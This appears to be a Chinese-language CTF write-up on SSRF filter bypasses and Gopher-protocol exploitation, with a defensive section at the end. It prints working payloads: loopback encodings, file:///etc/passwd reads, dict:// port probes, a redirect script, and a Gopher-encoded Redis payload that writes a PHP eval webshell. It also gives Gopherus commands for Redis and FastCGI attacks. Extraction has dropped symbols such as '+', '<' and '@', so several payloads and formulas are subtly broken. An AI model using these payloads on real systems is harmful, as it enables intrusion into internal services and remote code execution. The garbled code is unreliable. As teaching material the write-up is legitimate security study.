SSRF漏洞实战:5种绕过姿势与Gopher协议深度利用
1. 项目概述一次从靶场到实战的SSRF深度复盘最近在带新人打CTFshow的Web入门系列时发现SSRFServer-Side Request Forgery服务端请求伪造这个点卡住了不少人。尤其是那几道涉及Gopher协议和花式绕过的题目看似简单实则暗藏玄机。我自己也重新刷了一遍把其中8道典型的SSRF题目拿出来做了个深度复盘。这不仅仅是解题更是想搞清楚在真实的渗透测试或安全评估场景里当我们面对一个可能存在SSRF的接口时脑子里应该有一个怎样的“攻击树”。今天这篇复盘我就来聊聊从这8道题里提炼出的5种核心绕过姿势以及那个让人又爱又恨的Gopher协议到底该怎么玩转。无论你是正在入门CTF的新手还是想巩固Web安全知识点的从业者相信这篇从靶场实战中总结出的“内功心法”都能给你带来一些直接的启发和可复用的技巧。2. 核心思路拆解SSRF漏洞的利用逻辑与靶场设计意图在深入具体姿势之前我们得先统一思想SSRF漏洞的本质是什么为什么CTFshow会设计这些题目我的理解是SSRF的核心在于“视角欺骗”。应用程序靶机本应是一个受信任的发起者去请求后端服务、数据库或者其他内网资源。但攻击者通过篡改请求参数如URL让这个“受信任的发起者”变成了攻击者的“代理”或“跳板”。靶场的设计正是模拟了真实环境中开发人员可能疏忽的几种典型场景对用户输入URL的过滤不严、对协议的限制不全、对访问目标如内网IP、特定端口的校验缺失。这8道题目的演进路径非常清晰它们不是孤立的知识点而是一个层层递进的攻击面拓展过程。最初的题目可能只检查是否包含“127.0.0.1”或“localhost”于是我们学会了用进制、域名重定向来绕过。接着题目开始限制协议只能为http/https我们便需要挖掘其他协议如file、gopher、dict的潜力。再到后来题目可能设置了黑名单过滤127、172、192、10等内网段或者白名单只允许访问特定域名我们的绕过姿势就必须更加精巧涉及到URL解析差异、DNS重绑定、302跳转等技巧。理解这个设计意图你就能明白每学一种绕过姿势都是在你的武器库里添加一件针对特定防御措施的“破甲锥”。3. 五种核心绕过姿势详解与实战场景还原下面我将结合CTFshow的具体题目如web351-web358等把这五种姿势掰开揉碎了讲。我会先说明这种姿势用来解决什么问题题目给了什么限制然后给出具体的Payload构造方法最后解释其背后的原理和可能的变种。3.1 姿势一利用URL解析差异与特殊表示法绕过IP/域名过滤这是最基础也最常用的一类绕过。当题目简单过滤了“127.0.0.1”、“localhost”、“0.0.0.0”等字符串时。实战场景还原题目提供一个输入框提交一个URL后端会获取该URL的内容并显示。但代码中可能存在if ‘127.0.0.1’ in url: die()这样的过滤。绕过Payload与原理进制转换http://0177.0.0.1(八进制) - 0177 换算成十进制是 127。http://2130706433(十进制) - 这是127.0.0.1的整数形式。计算方式127 * 256^3 0 * 256^2 0 * 256^1 1 * 256^0 2130706433。http://0x7f.0x0.0x0.0x1(十六进制) - 0x7f127。原理后端进行字符串匹配过滤但系统底层如curl、file_get_contents在解析URL时会自动将这些不同进制的表示法还原为标准IP。关键在于过滤逻辑和解析逻辑的不一致。省略与特殊写法http://127.1- 在很多环境中等价于127.0.0.1。http://127.0.1- 同样可能绕过对完整“127.0.0.1”的匹配。http://0- 在某些上下文中指向0.0.0.0。原理IP地址的解析器允许不完整的写法会自动补全缺失的段为0。域名指向http://localhost(但通常也被过滤)。http://localtest.me- 这个神奇的域名及其所有子域名都解析到127.0.0.1。例如http://anything.localtest.me。http://127.0.0.1.nip.io-nip.io是一个DNS服务任何IP. nip.io都会解析到该IP。127.0.0.1.nip.io解析到127.0.0.1。原理利用DNS解析将“看起来像域名”的字符串最终指向目标IP绕过对IP地址字符串的直接检测。注意localtest.me和nip.io这类服务在实战中非常有用尤其是当目标程序进行了严格的IP格式正则匹配时。但要注意目标服务器能否进行外网DNS解析。3.2 姿势二利用302重定向“借刀杀人”这是突破“白名单”限制的利器。当题目要求URL必须以http://ctf.show或某个特定域名开头时直接提交内网地址是行不通的。实战场景还原后端代码检查url参数是否以http://ctf.show开头是则请求否则拒绝。绕过方法自己搭建一个Web服务器或用现成的在线请求Bin服务但要注意CTF环境可能无外网。在该服务器上部署一个PHP脚本内容为自动跳转到内网目标地址。?php header(Location: http://127.0.0.1/flag.php); ?向题目提交的URL为http://ctf.show/your_redirect_server.php。后端检查通过因为以ctf.show开头去请求你的服务器。你的服务器返回302状态码和Location头指向127.0.0.1。后端通常是默认跟随跳转的库如curl会自动向Location指向的新地址发起第二次请求成功访问到内网资源。原理白名单校验只发生在第一次请求的URL上。如果后端库默认或代码设置自动跟随重定向那么第二次请求的目标将不再受白名单限制。这利用了“校验点”和“实际请求点”的分离。实操心得在Docker或本地CTF环境中你可能需要在一台同时能被靶机和你自己访问的中间机器上搭建这个重定向服务。使用curl时可以用-v参数观察是否发生了重定向。在PHP中file_get_contents默认不跟随重定向但curl扩展默认是跟随的。这一点必须根据题目所用的后端函数来判断。一个变种是利用某些URL短链服务或图床的“302跳转”特性但CTF环境通常隔离外网此方法受限。3.3 姿势三利用DNS重绑定攻击DNS Rebinding这是一种更高级、更贴近真实威胁的绕过方式常用于绕过“先解析域名再判断IP是否合法”的防御逻辑。实战场景还原后端代码逻辑1. 获取用户输入的URL中的主机名。2. 解析该主机名获得IP地址。3. 判断该IP是否属于内网段如127.0.0.0/8,10.0.0.0/8等。4. 如果IP合法非内网则发起请求。绕过方法攻击者控制一个域名例如evil.com并配置其DNS记录。设置evil.com的TTL生存时间非常短比如0秒。第一次解析将evil.com指向一个外网合法IP如1.2.3.4。后端校验通过IP是外网。后端服务器为了效率可能会缓存这个DNS解析结果。但由于TTL极短缓存很快失效。在发起实际HTTP请求的瞬间或之前攻击者迅速修改evil.com的DNS记录将其指向目标内网IP如127.0.0.1。后端程序或操作系统/网络库在建立TCP连接时会重新解析域名因为缓存过期此时解析到的就是内网IP127.0.0.1。请求成功发往内网地址。原理利用DNS解析的“时间差”和程序“解析-校验-请求”流程中的分离。防御代码在校验时看到的IP和实际发起连接时使用的IP不一致。注意这种攻击在真实网络中实施难度较高需要控制DNS服务器且时机把握精准。但在CTF和一些特定的沙箱/容器环境中由于本地DNS缓存行为可控可能构造出类似场景。CTFshow中有些题目简化了这个过程可能直接让你使用一些提供DNS重绑定服务的网站如rbndr.us。3.4 姿势四利用非HTTP协议扩大攻击面当题目只简单过滤了http://和https://或者根本没有协议限制时我们的攻击面就从Web服务扩大到了整个TCP/IP栈上运行的其他服务。常见可利用协议file://用于读取服务器本地文件。例如file:///etc/passwd。这是探测SSRF是否存在的经典Payload。dict://用于访问字典服务器可以探测端口开放情况和获取横幅信息。例如dict://127.0.0.1:6379/info可以用来探测Redis服务。gopher://这是一个“万能”协议我们会在下一章重点讲。它可以构造任意格式的TCP数据包用来与内网的多种服务如Redis、MySQL、Memcached、FastCGI等进行交互甚至执行命令。ldap:///ldaps:///tftp://等用于攻击对应的特定服务。实战场景还原题目有一个“网页抓取”功能代码使用file_get_contents($_GET[‘url’])。没有做协议白名单。攻击步骤信息收集先用file://协议尝试读取/etc/hosts、/proc/net/tcp等文件了解内网结构和开放端口。端口探测使用dict://协议。dict://127.0.0.1:22如果连接成功会返回SSH的横幅说明22端口开放。dict://127.0.0.1:6379连接成功则说明有Redis。深入利用一旦发现关键服务如Redis则切换到gopher://协议构造攻击载荷实现写入Webshell、反弹Shell等操作。原理file_get_contents、curl等函数/库支持多种URI协议。当程序未对协议进行限制时攻击者就可以利用这些协议与服务器本机或内网的其他非Web服务进行通信。3.5 姿势五利用URL编码与解析器特性绕过关键词过滤当过滤规则变得复杂可能同时过滤了协议、IP、特殊字符时就需要在Payload的“形态”上做文章。常见技巧二次URL编码某些过滤逻辑只做一次解码。例如过滤“”字符我们可以提交%2540。后端收到后第一次URL解码得到%40如果此时进行关键词匹配%40不等于可能绕过。随后在真正请求时可能还会进行第二次解码%40被解码为。Payload:http://127.0.0.1%2540evil.com(期望解析为http://127.0.0.1evil.com利用进行主机名覆盖)。利用和#http://foo127.0.0.1foo是用户名127.0.0.1是主机。某些过滤可能只检查“://”到第一个“/”之间的主机部分而前的部分可能被忽略。http://127.0.0.1:80evil.com同样evil.com是真正连接的主机但粗滤的代码可能只提取了127.0.0.1:80。http://127.0.0.1#.evil.com#是片段标识符浏览器和某些解析器不会将其发送到服务器。过滤程序如果错误地包含了#之后的内容进行匹配可能会中招。畸形协议格式http://127.0.0.1-http://127.0.0.1(注意http和://之间有一个空格)。某些低质量的过滤正则可能匹配不到。HtTp://127.0.0.1(大小写混淆)。某些区分大小写的正则可能失效。结合DNS重绑定与特殊域名使用127.0.0.1.xip.io这样的域名既利用了DNS解析其字符串形式又可能绕过简单的IP正则匹配。原理利用Web应用中URL处理链条的复杂性。一个URL从用户输入到最终被网络库发起请求可能经过多次解码、规范化、字符串处理。只要其中一环的过滤逻辑与最终发起请求的解析逻辑存在差异就可能产生绕过。4. Gopher协议SSRF攻击中的“瑞士军刀”如果说前面的绕过姿势是“敲门砖”那么Gopher协议就是登堂入室后最强大的“内网渗透工具”。它在CTFshow的SSRF题目中多次出现是区分新手和老手的关键考点。4.1 Gopher协议是什么Gopher是一个古老的互联网协议比HTTP还早。它的特点是简单客户端发起一个TCP连接发送一个选择器字符串通常以换行结束服务器返回相应的文档然后关闭连接。正是这种“发送特定字符串建立TCP流”的特性使得我们可以利用它来伪造其他基于TCP的明文协议的数据包。核心要点Gopher协议允许我们精确控制发送到目标TCP端口的每一字节数据。我们可以用它来模拟HTTP请求、Redis命令、MySQL登录报文、SMTP命令等等。4.2 如何构造一个Gopher攻击载荷构造Gopher Payload的通用步骤如下我们以攻击内网Redis服务为例确定目标协议原始命令假设我们要向Redis写入一个Webshell。flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save quit将命令转换为Redis协议格式Redis使用一种名为RESP的协议。上面的命令需要被格式化。例如set shell ?php ... ?的RESP格式是*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$31\r\n?php eval($_POST[cmd]);?\r\n*3表示这是一个有3个元素的数组。\r\n是CRLF换行。$3表示下一个字符串长度为3“set”。以此类推。手工转换非常繁琐通常使用Python或PHP脚本辅助生成。进行URL编码将整个格式化后的命令字符串进行URL编码。特别注意\r\n需要被编码为%0d%0a。这是最容易出错的一步。组装Gopher URL格式gopher://target_ip:port/_encoded_payload注意/后面通常跟一个下划线_它会被Gopher客户端忽略但后面紧跟的编码数据会被发送。有些实现不需要下划线直接跟数据也行但加上更稳妥。示例gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2431%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A...实操心得工具化绝对不要手工构造复杂的Gopher Payload。推荐使用Gopherus这类工具命令行工具它可以直接生成攻击Redis、MySQL、FastCGI等服务的Gopher链接。编码陷阱确保你的编码是“双重”的。首先你的Payload字符串本身要正确包含\r\n其次在放入URL时整个字符串需要被URL编码。如果使用Python的urllib.parse.quote注意它默认不会编码斜杠/有时需要指定safe参数。测试在本地用nc -lvp 6379模拟一个Redis端口然后用curl ‘gopher://...’发送你的Payload观察nc收到的原始数据这是调试的最佳方法。4.3 Gopher攻击其他服务示例攻击FastCGI利用Gopher向PHP-FPM的FastCGI端口如9000发送精心构造的报文可以执行任意PHP代码。这需要理解FastCGI协议格式工具Gopherus也支持。攻击MySQL向MySQL端口3306发送包含恶意SQL语句的登录报文。但现代MySQL默认要求SSL且认证方式复杂成功率较低。攻击Memcached发送set命令进行数据污染或利用其UDP反射进行放大攻击但Gopher是TCP。攻击PostgreSQL类似MySQL。发送原始HTTP请求可以绕过一些针对HTTP请求头的限制。例如构造一个访问内网admin页面的HTTP/1.0请求。原理总结Gopher协议的本质是一个TCP套接字的中介。SSRF漏洞提供了发起这个TCP连接的能力而Gopher协议定义了如何通过一个URL来承载要发送的原始TCP数据。两者结合就实现了从Web应用到内网任意TCP服务的“协议跳转”。5. 实战流程与综合利用案例现在我们把所有知识点串起来模拟一个完整的CTF题目或真实渗透测试场景。假设场景发现一个SSRF接口初步测试发现过滤了127.、localhost、192.168、10.、172.并且只允许http://和https://协议。我们的攻击流程信息收集与绕过初步过滤尝试使用http://0177.0.0.1(八进制) 或http://2130706433(十进制) 访问看是否能绕过对“127”的字符串过滤读取到本地页面。尝试使用http://127.0.0.1.nip.io来绕过IP格式检测。如果上述都失败考虑是否存在白名单比如必须包含ctf.show域名。此时准备302重定向攻击。探测内网端口与服务绕过IP过滤后使用http://目标IP:端口的方式通过响应时间或错误信息来盲测端口开放情况慢且不准。更高效的方法如果协议过滤不严尝试使用dict://协议。dict://目标IP:端口如果端口开放且是字典协议会返回横幅如果连接被拒绝或超时则可能关闭。这比HTTP盲测准确得多。发现127.0.0.1:6379开放Redis127.0.0.1:80开放Web127.0.0.1:9000可能开放PHP-FPM。选择攻击路径与构造Payload路径A攻击Redis如果Redis未授权访问且Web目录已知或可猜测使用Gopherus生成写入Webshell的Payload。命令python gopherus.py --exploit redis输入?php system($_GET[‘c’]);?和 Web路径/var/www/html。得到编码后的Gopher URL。路径B攻击FastCGI如果发现9000端口且知道网站绝对路径攻击FastCGI是更直接的方式。命令python gopherus.py --exploit fastcgi输入Web根目录和要执行的PHP代码。路径C结合文件读取如果file://协议可用先读取/etc/passwd、/proc/self/environ、/var/www/html/index.php等文件获取更准确的路径信息、数据库密码等再指导Gopher攻击。发起攻击与验证将构造好的Gopher URL提交给SSRF接口。如果攻击Redis写入Webshell成功访问http://目标外网IP/shell.php?cid验证命令执行。如果攻击FastCGI成功通常会在响应中直接看到命令执行的结果。常见问题与排查Gopher Payload发送后无回显SSRF攻击内网服务常常是“盲打”。你需要通过其他方式验证是否成功例如攻击Redis写Webshell后尝试访问那个shell。攻击Redis写crontab反弹Shell后在VPS上监听端口看是否收到连接。攻击FastCGI执行curl命令将结果外带到你的服务器。工具生成的Payload不工作网络层确认目标IP和端口确实开放且服务存活。协议层确认服务版本和认证方式。例如Redis可能配置了密码那么未授权的flushall会失败。应用层确认写入的路径是否正确、是否有写权限。config set dir需要目标目录存在且Redis进程有权限写入。编码层用nc监听调试对比发送的原始数据和工具生成的数据是否一致。特别注意\r\n是否正确编码为%0d%0a。302跳转不生效检查后端使用的函数。如果是file_get_contents需要设置stream_context来允许重定向。如果是curl默认是跟随的。题目环境可能已修改默认行为。6. 防御视角与安全开发建议站在开发者的角度如何避免SSRF从这次复盘中我们可以提炼出几点关键防御措施统一资源获取与白名单不要直接使用用户输入的URL去请求。应该为程序需要访问的后端资源如OSS、内部API配置固定的白名单域名或IP用户输入仅作为参数传递给这些固定端点。解析与校验分离对用户输入的URL先进行解析获取其host、scheme、port。在校验阶段使用解析后的值而不是原始字符串。避免因字符串处理差异导致的绕过。多层级过滤协议白名单只允许http和https。IP黑名单/白名单使用高效的IP库如ipaddress模块判断解析后的IP地址是否属于内网、回环地址或不可路由地址。同时可以考虑设置业务必需的外网IP白名单。域名解析防范在解析域名后立即校验IP。并考虑设置DNS解析的超时时间和缓存防范DNS重绑定攻击。可以使用“先解析延时后再解析一次比对”的策略。禁用危险协议在底层网络库如curl、libcurl或语言层面禁用file、gopher、dict、ldap等不必要的协议。请求出站限制在网络架构上将可以发起外网请求的应用服务器部署在独立的DMZ区域严格限制其向内网发起新连接的能力。错误信息处理不要将后端请求产生的详细错误信息如连接拒绝、超时、返回内容直接返回给用户这会被攻击者用于端口扫描和信息收集。复盘这8道题最大的收获不是记住了几个Payload而是建立起了一套面对SSRF漏洞的“条件反射”式的测试思路先试基础绕过再探协议范围接着用dict或gopher摸端口找服务最后针对性地构造攻击链。在真实环境中情况可能更复杂但核心的“绕过-探测-利用”逻辑是相通的。尤其是Gopher协议它像一把钥匙打开了SSRF通往内网众多服务的大门理解它的原理和构造方法是深入理解SSRF危害的关键一步。下次再遇到SSRF不妨按这个流程走一遍你会发现思路清晰很多。